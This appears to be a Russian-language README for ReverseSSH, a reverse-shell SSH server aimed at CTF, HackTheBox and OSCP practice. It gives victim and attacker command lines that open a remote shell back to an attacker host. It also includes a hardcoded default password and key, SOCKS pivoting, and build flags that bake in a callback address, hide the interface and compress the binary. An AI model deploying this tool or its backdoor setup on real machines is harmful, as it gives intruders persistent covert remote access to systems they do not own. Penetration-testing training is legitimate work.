
Статически скомпилированный SSH-сервер с функционалом обратной оболочки для CTF и подобных задач.
Статически слинкованный SSH-сервер с функцией обратного соединения для простого, но мощного удалённого доступа. Наиболее полезен в задачах HackTheBox, CTF и подобных.
Был разработан и активно использовался при подготовке к экзамену OSCP.

Поймать обратную оболочку с помощью netcat — это круто, конечно, но кто из нас случайно не закрывал её с клавиатурным прерыванием из-за мышечной памяти? Помимо хрупкости, такие оболочки часто лишены удобных функций, таких как полноценный интерактивный доступ, автодополнение по TAB или история команд.
Вместо этого можно просто развернуть лёгкий SSH-сервер (<1.5МБ) reverse-ssh на целевой системе и использовать дополнительные удобства, такие как передача файлов и проброс портов!
ReverseSSH пытается заполнить разрыв между первоначальным закреплением на цели и полным локальным повышением привилегий. Его основные сильные стороны:
Оговорки для Windows
Полностью интерактивная оболочка PowerShell в Windows опирается на Windows Pseudo Console ConPTY и поэтому требует как минимум Win10 Build 17763.
На более ранних версиях вы всё ещё можете получить интерактивную обратную оболочку, но она не сможет обрабатывать управляющие последовательности терминала, такие как стрелки или клавиатурное прерывание.
В таких случаях нужно добавить команду cmd, то есть ssh <OPTIONS> <IP> cmd.
Полный интерактивный доступ к оболочке для старых версий Windows можно получить, поместив ssh-shellhost.exe из OpenSSH для Windows в ту же директорию, что и reverse-ssh, и указав флаг -s ssh-shellhost.exe.
Это перенаправит весь трафик через ssh-shellhost.exe, который эмулирует pty и преобразует все управляющие последовательности терминала так, чтобы их могла понять Windows.
Простое выполнение предоставленных бинарников опирается только на системные требования golang.
Кратко:
Для компиляции дополнительно требуется:
upx для сжатия (например, apt install upx-ucl)Как только reverse-ssh запущен на жертве, вы можете подключиться с любым именем пользователя и стандартным паролем letmeinbrudipls, с помощью SSH-ключа или того, что вы указали при компиляции.
В конце концов, это просто SSH-сервер:
# Полностью интерактивный доступ к оболочке
$ ssh -p <RPORT> <RHOST>
# Простое выполнение команд
$ ssh -p <RPORT> <RHOST> whoami
# Полноценная передача файлов
$ sftp -P <RPORT> <RHOST>
# Динамический проброс портов как SOCKS-прокси на порту 9050
$ ssh -p <RPORT> -D 9050 <RHOST>
# Жертва
victim$ ./reverse-ssh
# Атакующий (стандартный пароль: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>
Примечание: вы можете скомпилировать ReverseSSH с параметрами LHOST и LPORT, чтобы упростить выполнение на целевой системе, см. ниже
# На атакующем (готовимся принять входящий запрос;
# можно пропустить, если у вас уже запущен SSH-демон, например OpenSSH)
# ВНИМАНИЕ: порт LPORT 8888 конфликтует с входящими соединениями; в таком случае используйте флаг `-b 8889` или подобный на жертве
attacker$ ./reverse-ssh -v -l -p <LPORT>
# На жертве
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# или если SSH-демон слушает порт 22 с аутентификацией по паролю пользователя 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>
# На атакующем (стандартный пароль: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# или с конфигурацией SSH из примера ниже
attacker$ ssh target
В конечном счёте это обычный SSH, так что вы можете принять вызов удалённого проброса портов с машины жертвы вашим OpenSSH-демоном, слушающим на порту 22.
Просто добавьте <USER>@ и введите пароль, когда будет запрошено.
Пока что обратное соединение работает только с паролем, потому что я ещё не решился вшивать туда приватный ключ...
Для ещё большего удобства добавьте следующее в ваш ~/.ssh/config, скопируйте приватный ключ SSH в ~/.ssh/ и просто вызывайте ssh target или sftp target:
Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor <[email protected]>
Использование: reverse-ssh [опции] [[<пользователь>@]<цель>]
Примеры:
Bind:
reverse-ssh -l
reverse-ssh -v -l -p 4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh [email protected]
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 [email protected]
Опции:
-l, Запустить reverseSSH в режиме прослушивания (отменяет сценарий reverse)
-p, Порт, на котором reverseSSH слушает входящие SSH-соединения (сценарий bind)
или на котором пытается установить SSH-соединение (сценарий reverse) (по умолчанию: 31337)
-b, Только сценарий reverse: привязаться к этому порту после установки соединения домой (по умолчанию: 8888)
-s, Оболочка для запуска для входящих соединений, например /bin/bash; (по умолчанию: /bin/bash)
для Windows может использоваться только для указания пути к 'ssh-shellhost.exe' для
улучшения работы оболочек до Windows 10 (например, '-s ssh-shellhost.exe' если в той же директории)
-N, Запретить все входящие запросы на shell/exec/subsystem и локальный проброс портов
(только если нужен удалённый проброс портов, например при приёме обратных соединений)
-v, Выводить журнал работы
<цель>
Необязательная цель, которая активирует сценарий reverse. Может быть предварена
<пользователь>@ для аутентификации под именем, отличным от 'reverse' при установке соединения домой
Учётные данные:
Принимает все входящие соединения от любого пользователя с одним из следующих:
* Пароль "letmeinbrudipls"
* Открытый ключ "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
Убедитесь, что установлены указанные выше требования, такие как golang подходящей версии, и правильно настроены.
Затем можно скомпилировать с помощью make, что создаст статические бинарники в папке bin.
Используйте make compressed, чтобы упаковать бинарники с помощью upx и ещё больше уменьшить их размер.
$ make
# или для дополнительного создания бинарников, упакованных с upx
$ make compressed
Вы также можете указать одну или несколько из следующих переменных окружения при компиляции, чтобы настроить ReverseSSH под свои нужды:
RS_SHELL для изменения оболочки по умолчаниюRS_PASS для установки своего пароляRS_PUB для установки своего авторизованного ключаLUSER для изменения имени пользователя по умолчанию при подключении по SSHLHOST для указания значения LHOST по умолчанию и настройки ReverseSSH на сценарий reverse по умолчаниюLPORT для изменения порта прослушивания по умолчанию или порта, на который будет отправляться SSH-соединениеBPORT для изменения порта прослушивания обратных соединений на машине атакующего; 0 означает, что будет выбран любой свободный портNOCLI с любым значением удаляет все взаимодействия с пользователем (бинарник игнорирует все переданные флаги или аргументы)$ ssh-keygen -t ed25519 -f id_reverse-ssh
$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
По умолчанию reverse-ssh компилируется для вашей текущей ОС и архитектуры, а также для linux и windows в x86 и x64.
Для компиляции под другие архитектуры или другую ОС вы можете задать переменные окружения, соответствующие вашей целевой системе, например для linux/arm64:
$ GOARCH=arm64 GOOS=linux make compressed
Список доступных целей в формате ОС/архитектура можно получить с помощью go tool dist list.
Не хватает потрясающей функции? Что-то работает не так, как задумано?
Создайте issue или pull request!